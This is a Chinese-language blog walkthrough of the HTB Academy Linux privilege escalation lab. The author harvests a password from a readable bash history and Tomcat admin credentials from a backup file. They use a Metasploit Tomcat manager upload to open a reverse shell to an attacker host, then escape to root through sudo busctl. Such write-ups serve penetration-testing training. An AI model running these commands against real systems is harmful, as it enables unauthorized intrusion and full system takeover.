首页 > 系统相关 >HTB ACADEMY-Linux Privilege Escalation WRITE UP

HTB ACADEMY-Linux Privilege Escalation WRITE UP

时间:2023-05-22 22:33:27浏览次数:64  
标签:权限 Escalation tomcat ACADEMY UP flag4 barry txt 我们

We have been contracted to perform a security hardening assessment against one of the INLANEFREIGHT organizations' public-facing web servers.
The client has provided us with a low privileged user to assess the security of the server. Connect via SSH and begin looking for misconfigurations and other flaws that may escalate privileges using the skills learned throughout this module.
Once on the host, we must find five flags on the host, accessible at various privilege levels. Escalate privileges all the way from the htb-student user to the root user and submit all five flags to finish this module.
Note: There is a way to obtain a shell on the box instead of using the SSH credentials if you would like to make the scenario more challenging. This is optional and does not award more points or count towards completion.

已知信息:对外Web服务器(可能开了HTTP80或者HTTPS8080端口),SSH连接逐步提权找到flag。

准备工作

  • 基本信息
  1. 操作对象:Vmware Station(Kali-Linux)
  2. 目标实例对象:ssh/10.129.93.119/htb-student/Academy_LLPE!

我们利用SSH远程登录上去,提权的思路方向我一开始是一头雾水,因为实在是有太多种方法了,挨个尝试又很繁琐,所以我后来转变了一下思路,先找到目标flag.txt的文件位置,然后再找到对应需要提权的方式。

第一个问题

Submit the contents of flag1.txt.

首先,我们查看下/home目录,可以看到目前有三个用户,分别是htb-student,barry,mrb3n。然后列出/home目录下所有文件,可以得到两条和flag相关的有用信息:

  1. /home/htb-student/.config/.flag1.txt(htb-student当前用户可读)
  2. /home/barry/flag2.txt(barry用户可读)
ls -ahlR /home/

image

image

直接查看.flag1.txt文件内容(需要注意的是,这个文件是隐藏文件,所以在列举时必须列举所有文件)。这个问题告诉我们不要忽视所有隐藏文件信息。

cat /home/htb-student/.config/.flag1.txt

image

答案:LLPE{d0n_ov3rl00k_h1dden_f1les!}

第二个问题

Submit the contents of flag2.txt.

前面我们已经知道flag2.txt对于barry用户可读的,所以要得到内容我们必须从当前用户htb-student提升权限到barry用户。
这里我为了提升权限做了非常多尝试,我发现目标设备没有安装gcc编译文件,所以暂时不优先考虑利用内核或者操作系统版本漏洞提权。CRON作业列表也没找到适合编辑修改的。SUDO权限无法被滥用。PATH确实可以修改为当前目录下,但是没权限创建ls等命令,当前用户也没有特殊组类……
这真是令人沮丧,然后我尝试寻找有关登录的敏感信息,然后我发现barry用户目录下有一个文件.bash_history对于当前用户来说是可读的,于是我查看了它。很好,我们有了barry用户SSH登录连接的密码。

cat /home/barry/.bash_history

image

然后我们利用SSH连接到barry用户,一切顺利,我们拿下了第二面旗帜!另外需要注意的是,barry用户在ADM组内,这意味着我们可以读取/var/log/目录下的日志记录,也许这对后面的问题有帮助。

ssh [email protected]
id
cat flag2.txt

image

image

答案:LLPE{ch3ck_th0se_cmd_l1nes!}

第三个问题

Submit the contents of flag3.txt.

目前我们还不知道flag3.txt在哪里,所以我们使用find命令查找一下所有文件。

find / -name flag3.txt

image

但是可以看到因为我们有太多文件是没有权限访问的,所以刷出来一大串“Permission denied”,所以我们需要对输出结果进行过滤。得到flag3所在位置:/var/log/flag3.txt。

find / -name flag3.txt 2>&1 | grep -v "Permission denied"

image

barry是adm组内的,所以我们可以直接查看flag3.txt的内容。

cat /var/log/flag3.txt

image

答案:LLPE{h3y_l00k_a_fl@g!}

第四个问题

Submit the contents of flag4.txt.

我们继续找一下flag4.txt所在(别忘了过滤),可以看到flag4在/var/lib/tomcat9/flag4.txt,并且只有tomcat可以查看。

find / -name flag4.txt 2>&1 | grep -v "Permission denied"

image

tomcat是啥?看起来像是某种服务,结合前面情景的提示,这应该是和Web服务器相关的服务。我先是使用NMAP扫描了一下目标设备的开放端口和服务,可以看到在8080端口运行Apache Tomcat服务。

nmap -sV 10.129.93.119

image

这时候我们用浏览器访问一下8080端口,看看会出现什么。是一个tomcat配置成功的界面,最后一行话告诉我们定义的管理员账号存储在/etc/tomcat9/tomcat-users.xml。

image

作为barry用户我们是无法查看这个文件内容的,但很有意思的是有一份备份文件对于barry用户是可读的。

ls -al /etc/tomcat9/tomcat-users.xml
cat /etc/tomcat9/tomcat-users.xml.bak

image

于是在备份文件内我们可以找到tomcat管理员账号和密码,我们去浏览器登录验证一下账号密码的正确性。

image

image

很哇塞,账号密码是正确的,但是tomcat配置的是command disabled,这就意味着我们不能通过命令行远程连接到这个端口然后查看flag4内容。这里我卡住了,然后我求助了社区的小伙伴,他们告诉我可以使用msfconsole上传反向shell,并丢了一个链接(https://null-byte.wonderhowto.com/how-to/hack-apache-tomcat-via-malicious-war-file-upload-0202593/)。

按照链接步骤,我们首先运行msfconsole(居然是个爱心心,昨天刚过521诶~),然后弄好配置。

msfconsole
use exploit/multi/http/tomcat_mgr_upload
set rhosts 10.129.93.119
set rport 8080
set httpusername tomcatadm
set httppassword T0mc@t_s3cret_p@ss!
set payload java/shell_reverse_tcp
set lhost 10.10.14.55
set lport 4321
run

image

image

我们现在切换到tomcat权限,我们终于能够查看flag4.txt内容。

cat /var/lib/tomcat9/flag4.txt

image

答案:LLPE{im_th3_m@nag3r_n0w}

第五个问题

Submit the contents of flag5.txt.

在当前tomcat权限下我们仍然找不到flag5文件在哪,很有可能是查找过程由于权限不够所以过滤掉了,所以我们需要提升到root权限。
经过尝试,我发现tomcat存在sudo权限滥用的情况,我们可以以root权限执行busctl命令。

sudo -l

image

这时候我们需要一个交换shell,所以用python切换成交互shell(否则非交互shell只会读取/usr/bin/busctl文件内容)。而有关busctl命令提权的方式非常简单,可以参考GTFOBINS(https://gtfobins.github.io/gtfobins/busctl/)

python3 -c 'import pty; pty.spawn("/bin/bash")
sudo busctl --show-machine
!bin/sh

image

然后我们顺利提升到root权限了,找到最后一个flag5,大功告成!

find / -name flag5.txt 2>&1
cat /root/flag5.txt

image

答案:LLPE{0ne_sudo3r_t0_ru13_th3m_@ll!}

标签:权限,Escalation,tomcat,ACADEMY,UP,flag4,barry,txt,我们
From: https://www.cnblogs.com/darkpool/p/17421209.html

相关文章

  • delphi TcxGridPopupMenu控件学习笔记
    TcxGridPopupMenu控件用来给cxgrid设置右键菜单的.它长这样属性面板长这样: 默认的系统菜单长这样: 这菜单上面有好几个选项我不想要,怎么办?隐藏它呗!private{Privatedeclarations}procedureStdHeaderMenuPopup(Sender:TObject);//-----------------......
  • unsupported parameter combination 解决办法
    colorSpace=CGColorSpaceCreateDeviceRGB();//  CGBitmapInfobitmapInfo=kCGBitmapByteOrder32Little|kCGImageAlphaNoneSkipFirst;//  CGBitmapInfobitmapInfo=kCGBitmapByteOrder32Little|kCGImageAlphaPremultipliedFirst;     //error  CGBit......
  • python调用父类方法的三种方式(super调用和父类名调用)
    子类调用父类的方法的三种方式:父类名.方法名(self)super(子类名,self).父类方法名()super().父类方法名注意:super()通过子类调用当前父类的方法,super默认会调用第一个父类的方法(适用于单继承的多层继承如下代码:#自定义师傅类-古法classMaster(object):#方......
  • python 问题修复ImportError: urllib3 v2.0 only supports OpenSSL 1.1.1+
    目录python问题修复ImportError:urllib3v2.0onlysupportsOpenSSL1.1.1+升级openssl版本降低urllib版本python问题修复ImportError:urllib3v2.0onlysupportsOpenSSL1.1.1+这个问题时python版本安装的urllib3版本过高,而openssl版本太低导致的解决无非两种方法,降低......
  • 如何避免windows update自动更新关闭后,仍然是开启的状态。彻底解决办法
    为了禁止系统自动更新,很多用户都会禁用WindowsUpdate服务,但是后来发现它还会自动开启,这该怎么办?针对这个问题,下面小编就来告诉大家。一、关闭更新服务后还要禁止它恢复启动1、按WIn+R调出运行,输入【services.msc】或此电脑右键--管理--服务和应用程序--服务。2、在右......
  • 2018 ICPC Asia Qingdao (The 1st Universal Cup, Stage 9)
    E看完题想到二分答案直接一步步贪心,没多想直接和队友说了下,感觉贪心会有点问题,放了一会后冷静分析了一下,发现返回造成的浪费是不可避免的,就很对了!点击查看代码#include<bits/stdc++.h>usingnamespacestd;typedeflonglongll;constintN=2e5+5;intn;llm;lla[N]......
  • Weakly Supervised Temporal Action Localization via Representative Snippet Knowle
    0.前言相关资料:arxivgithub论文解读论文基本信息:领域:弱监督时序动作定位发表时间:CVPR2022(2022.3.14)1.针对的问题许多现有的方法试图生成伪标签来弥补分类和定位之间的差异,但通常只使用有限的上下文信息,即每个片段内的信息,来生成伪标签。2.主......
  • WebUploader中实现文件上传下载的三种解决方案(推荐)
    ​ 这里只写后端的代码,基本的思想就是,前端将文件分片,然后每次访问上传接口的时候,向后端传入参数:当前为第几块文件,和分片总数下面直接贴代码吧,一些难懂的我大部分都加上注释了:上传文件实体类:看得出来,实体类中已经有很多我们需要的功能了,还有实用的属性。如MD5秒传的信息。pub......
  • 源端为备库的场景下Duplicate失败问题
    环境:Oracle11.2.0.3+OEL7.9A->B->C级联ADG环境:db11g->db11gadg->db11gcas之前测试提到,从一级备库duplicate到二级备库会报错:RMAN-00571:===========================================================RMAN-00569:===============ERRORMESSAGESTACKFOLLOWS......
  • 55 | 理解Disruptor(下):不需要换挡和踩刹车的CPU,有多快?
    上一讲,我们学习了一个精妙的想法,Disruptor通过缓存行填充,来利用好CPU的高速缓存。不知道你做完课后思考题之后,有没有体会到高速缓存在实践中带来的速度提升呢?不过,利用CPU高速缓存,只是Disruptor“快”的一个因素,那今天我们就来看一看Disruptor快的另一个因素,也就是......